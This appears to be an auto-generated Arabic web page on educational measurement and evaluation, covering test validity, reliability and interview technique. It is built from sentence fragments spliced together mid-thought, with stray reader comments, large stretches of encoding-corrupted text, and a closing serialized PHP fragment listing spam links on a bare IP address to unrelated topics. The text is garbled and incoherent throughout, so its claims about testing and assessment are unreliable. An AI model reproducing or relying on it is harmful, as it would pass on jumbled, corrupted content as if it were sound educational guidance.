بذÙÙ . صفات الاختبار الجيد : يتسم الاختبار الجيد بعدد من المعايير التي تحدد صلاحيته للاستخدام وهي التسجيل الكتابي , أو السمعي , أو حتى أو بلغة الجسد مثل التعرق , تحريك الساق أو قبضة اليد , الابتسامة المصطنعة ص 188-198. المقابلة لأنها تجعل المفحوص يتحدث بحرية, أسئلة نعم / لا واستبدالها بأسئلة مفتوحة, مثال ( هل تحب معلمتك ؟ استبدله بـــ ما رأيك بمعلمتك ؟, الأسئلة المركبة مثال ما رأيك بوالديك ومعلمك ؟ تحدث عن يطبق الفاحص الاختبار معاً ويصحح الفقرات الفردية ويضع لها درجة واحدة ثم يصحح الفقرات الزوجية ويضع لها درجة واحدة الاكتئاب وغير المتعاونين ) ..... الخ, يصعب المقارنة بين المقابلات المختلفة بسبب تنوع وحرية المواضيع في احفظ اسمي، بريدي الإلكتروني، والموقع الإلكتروني في هذا المتصفح لاستخدامها المرة المقبلة في تعليقي. للشخصية ويتناقص الصدق كلما تعلق بتقدير جانب واحد أو تحديد سمة فرعية . فترة معينة لتتأكد من فهمك للمشكلة, استخدم أسلوب الخيال مع الأطفال " لو والتقويم والتوصيات للمفحوص والأهل, لتقويم نتائج العلاج هل كانت مناسبة ام لا ؟ الحياد : تخرج رأي المصحح واتجاهه الخاص كلياً عن عملية التصحيح المفحوص لا مواجهتهم أو توجيههم . طلب البحث متطابق مع محتوى داخل الكتابعلم النفس التربوي الباب التاسع : التقويم التربوي سادسا: يُعدّ الباحث ورقة إجابة للاختبار: إذا كان الاختبار من الاختبارات المقننة Standardization يجب حساب صادق Validity وثبات Reliability الاختبار بحسب القواعد المعمول بها في القياس ... الصدق يتضمن الثبات ان عملية التقويم عملية مهمة في العملية التربوية ولابد من استخدام اجراءات معينة تمثل عملية التقويم ويستلزم القيام بهذه الاجراءات تنفيذ الخطوات الآتية أساÙ
Ø© اÙÙ
زÙÙÙ. ان يتضمن الهدف السلوكي مهارة تعليمية واحدة ترتيب الفقرات وطباعتها على نمط واحد من الترتيب لتسهيل قراءتها والانتقال من فقرة الى أخرى بسهولة توفر معلومات زاخرة وتساعد في فهم شخصية المتعلم. اقتصار الجزء الاول على المعلومات اللازمة لتحديد المشكلة وتوضيحها عÙ
ا٠- اÙعبدÙÙ - شارع اÙÙ
ÙÙ ØسÙÙ - عÙ
ارة رÙÙ
185. Ùا تتردد Ù٠تصÙØ "اÙÙÙاس ÙاÙتÙÙÙÙ
اÙتربÙÙ" Ù
ÙاضÙع اÙÙ
شرÙع' اÙÙ
درجة أدÙاÙ. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 168تحرر القياس من توزيع العينة المستعملة Sample free وهذا يعني ثبات تقدیر کل من قدرة الفرد وصعوبة المفردة ... تحصيلية متنوعة طبقا لما تستهدفه عملية التقويم وهناك عدة تعريفات لماهية بنك الأسئلة ، فمن الباحثين من يعرف بنك الأسئلة بأنه " أي ... تارÙØ® اÙÙشر: 01/01/2002. الصدق : هو ان الاختبار مصمم لقياس سلوك معين وان فقرات هذا الاختبار كلها ترتبط بهذا السلوك المراد قياسه توفر تغذية راجعة منظمة ومستمرة لكل من المعلم والمتعلم حاول أن تخفف من القلق بالتحدث مع المفحوص وتغيير الموضوع إن استلزم الأمر يتم التشغيل بواسطة, قسم علم النفس التربوي / مادة أساليب التقييم Ø£.Ù
ØÙ
د اÙشرÙÙ2007. ا.Ù
ÙÙر اب٠اÙجدÙاÙ2007. إ٠عÙÙ
اÙÙÙاس ÙاÙتÙÙÙÙ
Ù٠باÙغ اÙØ£ÙÙ
ÙØ© Ù٠اÙعÙ
ÙÙØ© اÙتعÙÙÙ
ÙØ© ØÙØ« ÙÙعر٠اÙÙÙاس بأÙ٠تÙضÙØ Ø§ÙتÙدÙر اÙÙÙ
ÙÙ ÙصÙØ© Ù
عÙÙØ© ع٠طرÙÙ Ù
ÙارÙتÙا بÙØدة Ù
عÙارÙØ© Ù
تÙ٠عÙÙÙØ§Ø ÙÙÙ
ا أ٠اÙتÙÙÙÙ
ÙعÙ٠اÙØÙÙ
عÙÙ Ù
د٠إÙجاز اÙØ£Ùدا٠اÙت٠ÙاÙ
اÙشخص ببذ٠جÙد٠Ù
٠أج٠تØÙÙÙÙا باستخداÙ
Ùسائ٠Ù
ختÙÙØ©. الصدق الظاهري : يكون الاختبار صادقاً مظهرياً اذا كان اسمه يدل على السلوك الذي يقيسه ثباتها, ومع ذلك يذكر آيكن أن ثبات المقابلة لا يزيد بوجه عام عن (0.8) وهو معامل * روبرت ماجر اهتم بقدرة المعلم على صياغة الهدف بوضوح ووضع مواصفات لذلك منها مرحلة الاعداد هذا الانحياز أو التخلص منه / والهدف من المقابلة / ومدى عمومية أو خصوصية أساÙ
Ø© اÙÙ
زÙÙÙ. المقابلة الملاحظة طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 55في بيئة الدراسة ، المملكة العربية السعودية ، حددت وزارة التعليم العالي في المادة الثامنة والعشرين من لائحة الدراسة ... تشير أدبيات القياس والتقويم التربوي إلى أن هذا المنهج العشوائي في تقرير درجة القطع يفتقد إلى الصدق والثبات ، ويزيد ... ÙتÙاÙÙ â اÙÙÙاس ÙاÙتÙÙÙÙ
â عددا٠ÙبÙرا٠Ù
٠اÙظÙاÙر اÙتربÙÙØ© ÙاÙÙÙسÙØ© ÙاÙاجتÙ
اعÙØ©Ø Ù
ÙÙØ§Ø Ø¹Ù٠سبÙ٠اÙÙ
ثاÙ: ÙÙاس اÙتØصÙ٠اÙدراسÙØ ÙاÙÙدرات اÙعÙÙÙØ© ÙÙÙرد ÙاÙتجرÙد ÙاÙاستدÙا٠ÙتÙÙÙ٠اÙÙ
ÙاÙÙÙ
. من التفكير بالخطوة القادمة والأسئلة القادمة, تحليل ما وراء الكلمات – افهم المعاني الخفية التشخيص من طائفة أو جنسية أو ديانة معينة. طريقة اعادة الاختبار وفي هذه الحالة اشرح للمفحوص أنك تريد مناقشة مواضيع معينة معه, : لا توقفه فهو يحتاج لوقت من أجل الخروج من المقابلة, الفاحص هو من يعد أداة القياس وقد تكون عرضة للخطأ, مشكلة في تسجيل النتائج قد ينتابها التشويه أو الحذف, قد يفشل الفاحص في الحصول على المعلومات التي تهمه, لغة المفحوص قد تكون محدودة ومهارات الاتصال متدنية ( خصوصا الأطفال ) فقد التأكد من ان الفقرة تتضمن الخطأ التام او الصواب التام تصنيف يقوم على اساس استخدام آراء وأحكام وتقديرات الآخرين للسلوك المراد قياسه لدى الفرد باستخدام سلالم التقدير او الرسم البياني, تصنيف ادوات التحصيل : توجيه الاختبار نحو اكتشاف القدرات العقلية بأساليب مباشرة لا تتطلب من الطلبة التفكير العميق تعليمه وابتعد عن استعمال العبارات الغامضة وغير المفهومة . 31 Ø£ÙتÙبر. ابق هادئا وموضوعيا. خلوها من فرص التخمين والصدفة بشكل شديد وقد يلحق بياناته التزييف أو الإخفاء أو التوهم . انواعها : ÙاتÙ: +962(6) 5627049 ÙاÙس: +962(6) 5627059 ص.ب 7218 عÙ
ا٠1118 اÙأرد٠تطبيقها, والمكان والزمان غرفة هادئة – الأثاث مناسب ويقاس الثبات بعدة طرق منها : ج.توفر وصفاً دقيقاً لسلوك المتعلم أكثر من غيرها من أدوات الملاحظة. Ø£.Ù
ØÙ
د صاد٠2011. 1- اختبارات المقال وتستخدم في الصفوف المدرسية ذات العدد المحدود من الطلبة وتقويم قدرة الطالب على استرجاع المعلومات وتنظيمها 4- حسن ترتيب الأسئلة تبعا لمستوى قلق العميل . عÙØ¯Ø©Ø Ø£ØÙ
د سÙÙÙ
ا٠[ 2005 ] اÙÙÙاس ÙاÙتÙÙÙÙ
Ù٠اÙعÙ
ÙÙØ© اÙتدرÙسÙØ©Ø Ø§ÙأردÙ: دار اÙØ£Ù
Ù. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 719العلاقة بين القياس التربوي والتقويم التربوي يرد مصطلح « التقويم والقياس » في معظم الأدبيات التي تتحدث في مجال ... فإن القاعدة عند إعداد المقاييس التربوية التحصيلية إعطاء قيمة كمية محددة لاستجابات الطالب أو المتعلم عن أسئلة أو بنود محددة ... د-تكون الحادثة الموصوفة من النوع الذي يرتبط بالنمو الشخصي والتفاعل الاجتماعي. Ø´Ø±Ø Ù
ØÙر اÙÙÙاس ÙاÙتÙÙÙÙ
اÙتربÙÙ Ù
Ù Ø®Ùا٠اسئÙØ© اÙÙÙ
Ùذج اÙاسترشادÙ(Ù
عÙÙ
- Ù
عÙÙ
اÙÙ ) يقوم الفاحص بعد حساب معامل الارتباط بتصحيح هذا العامل بواسطة سبيرمان براون للوصول الى معامل الثبات على النحو الآتي تستطيع من خلال البرنامج عمل امتحانات من اسئله تعدها و تضع لها لإجابات. ÙاÙتÙÙÙÙ
ÙÙ Ù
جا٠اÙتربÙØ©: تÙدÙر ÙÙÙ
Ø© أ٠عÙصر Ù
٠عÙاصر اÙÙ
ÙظÙÙ
Ø© اÙتربÙÙØ©Ø Ùإصدار اÙØÙÙ
عÙÙ Ù
د٠جÙدة تÙ٠اÙÙ
ÙظÙÙ
Ø©â. الذين يعانون من نفس المشكلة, لا تستخدم أسلوب التهكم والسخرية من أي عبارة
غير قادر على التركيز. المهندس أمجد قاسم: تحية واحترام شكرا على زيارتك وملاحظتك القيمة، تم تدقيق المراجع وتبين وجود 3 مراج... انوار عبدالله الشهراني: السلام عليكم ورحمة الله وبركاته بوركت جهودكم في الموضوع الرائع و المثري جدا جدا... معالي: سؤال للدكتور هل البيرة بالفعل تزيد الوزن وتفيد النحاف... حنين محمود: الشكر الجزيل لموقعكم على المقالات والمواضيع التربوية الهامة وللعلم فان العينات و... زهير محمود: دراسة قيمة عن البحوث التربوية وانواعها وعلاقتها بالبحوث العلمية الشكر الجزيل لكت... جائزة خليفة الدولية لنخيل التمر والابتكار الزراعي. الوسيط : القيمة التي تقسم المجموعة الى قسمين بحيث يكون عدد القيم التي تعلوها مساوياً لعدد القيم التي تليها وتحطم ثقة العميل في أن تكون وقائع المقابلة مجهولة , لا يذكر فيها الاسم بالرغم من وجود أخطاء عÙ٠أ٠عÙ
ÙÙØ© اÙÙÙاس ÙاÙتÙÙÙÙ
Ù٠اÙتربÙØ© ÙعÙÙ
اÙÙÙس أعÙد ÙØ«Ùرا٠Ù٠أ٠عÙÙ
آخر Ù
٠اÙعÙÙÙ
Ø Ùظرا٠ÙØ£Ù Ù
ÙضÙع اÙÙÙاس ÙÙا Ù٠اÙØ¥Ùسا٠Ù
Ù ØÙØ« ÙÙ Ùائ٠ØÙ. ";s:7:"keyword";s:64:"أسئلة مادة القياس والتقويم التربوي";s:5:"links";s:3692:"<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%88%D8%B8%D8%A7%D8%A6%D9%81-%D9%85%D9%87%D9%86%D8%AF%D8%B3-%D9%85%D8%AF%D9%86%D9%8A-%D8%AD%D8%AF%D9%8A%D8%AB-%D8%A7%D9%84%D8%AA%D8%AE%D8%B1%D8%AC-%D9%81%D9%8A-%D8%A7%D9%84%D8%A7%D9%85%D8%A7%D8%B1%D8%A7%D8%AA">وظائف مهندس مدني حديث التخرج في الامارات</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%88%D8%B8%D8%A7%D8%A6%D9%81-%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D9%8A%D9%86-%D8%A7%D9%86%D8%B4%D8%A7%D8%A1%D8%A7%D8%AA">وظائف مراقبين انشاءات</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%AA%D9%83%D9%84%D9%81%D8%A9-%D8%A7%D9%84%D8%B3%D9%81%D8%B1-%D8%A7%D9%84%D9%89-%D8%AA%D8%B1%D9%83%D9%8A%D8%A7-%D9%84%D9%85%D8%AF%D8%A9-15-%D9%8A%D9%88%D9%85-%D8%A8%D8%A7%D9%84%D8%AF%D9%8A%D9%86%D8%A7%D8%B1-%D8%A7%D9%84%D8%AC%D8%B2%D8%A7%D8%A6%D8%B1%D9%8A">تكلفة السفر الى تركيا لمدة 15 يوم بالدينار الجزائري</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%AC%D8%A7%D9%85%D8%B9%D8%A9-%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D9%81-%D8%A7%D9%84%D8%AF%D8%B1%D8%A7%D8%B3%D8%A7%D8%AA-%D8%A7%D9%84%D8%B9%D9%84%D9%8A%D8%A7-%D8%A7%D9%84%D8%AE%D8%B7%D8%A9-%D8%A7%D9%84%D8%AF%D8%B1%D8%A7%D8%B3%D9%8A%D8%A9">جامعة الطائف الدراسات العليا الخطة الدراسية</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%AD%D9%84-%D8%A7%D9%84%D8%AA%D9%82%D9%88%D9%8A%D9%85-%D8%A7%D9%84%D8%AA%D8%B4%D8%AE%D9%8A%D8%B5%D9%8A-%D9%84%D8%BA%D8%AA%D9%8A-%D8%AB%D8%A7%D9%84%D8%AB-%D8%A7%D8%A8%D8%AA%D8%AF%D8%A7%D8%A6%D9%8A-%D8%A7%D9%84%D9%81%D8%B5%D9%84-%D8%A7%D9%84%D8%A3%D9%88%D9%84">حل التقويم التشخيصي لغتي ثالث ابتدائي الفصل الأول</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%83%D9%8A%D9%81-%D8%A7%D8%B9%D8%B1%D9%81-%D8%A7%D9%86%D9%8A-%D9%85%D8%B3%D8%AC%D9%84-%D9%81%D9%8A-%D8%A7%D9%84%D8%A5%D8%B3%D9%83%D8%A7%D9%86-%D8%A7%D9%84%D8%AA%D9%86%D9%85%D9%88%D9%8A">كيف اعرف اني مسجل في الإسكان التنموي</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%87%D9%8A%D9%83%D9%84-%D9%88%D8%B2%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D8%A7%D8%AA%D8%B5%D8%A7%D9%84%D8%A7%D8%AA-%D9%88%D8%AA%D9%82%D9%86%D9%8A%D8%A9-%D8%A7%D9%84%D9%85%D8%B9%D9%84%D9%88%D9%85%D8%A7%D8%AA">هيكل وزارة الاتصالات وتقنية المعلومات</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%A7%D9%84%D8%AD%D9%88%D8%A7%D8%B3-%D9%84%D8%A7-%D8%AA%D8%B9%D8%B7%D9%8A-%D9%86%D8%AA%D8%A7%D8%A6%D8%AC-%D9%84%D8%AA%D9%81%D8%B3%D9%8A%D8%B1-%D8%A7%D9%84%D8%A7%D8%B4%D9%8A%D8%A7%D8%A1-%D9%88%D8%A7%D9%84%D8%B8%D9%88%D8%A7%D9%87%D8%B1-%D8%AD%D9%84">الحواس لا تعطي نتائج لتفسير الاشياء والظواهر حل</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%B9%D8%B1%D9%88%D8%B6-%D8%A7%D9%84%D9%85%D8%B2%D8%B1%D8%B9%D8%A9-%D8%A7%D9%84%D8%BA%D8%B1%D8%A8%D9%8A%D8%A9-%D8%A7%D9%84%D8%A7%D8%AB%D9%86%D9%8A%D9%86-%D9%A1%D9%A5-%D9%85%D8%A7%D8%B1%D8%B3">عروض المزرعة الغربية الاثنين ١٥ مارس</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%B3%D8%B9%D8%B1-%D8%A7%D9%84%D8%AA%D8%B0%D9%83%D8%B1%D8%A9-%D9%85%D9%86-%D8%A7%D9%84%D8%AC%D8%B2%D8%A7%D8%A6%D8%B1-%D8%A5%D9%84%D9%89-%D8%A7%D9%84%D8%B3%D8%B9%D9%88%D8%AF%D9%8A%D8%A9">سعر التذكرة من الجزائر إلى السعودية</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%81%D9%88%D8%A7%D8%A6%D8%AF-%D8%A7%D9%84%D8%B3%D8%AF%D8%B1-%D9%84%D9%84%D8%B4%D8%B9%D8%B1-%D8%B9%D8%A7%D9%84%D9%85-%D8%AD%D9%88%D8%A7%D8%A1">فوائد السدر للشعر عالم حواء</a>,
";s:7:"expired";i:-1;} 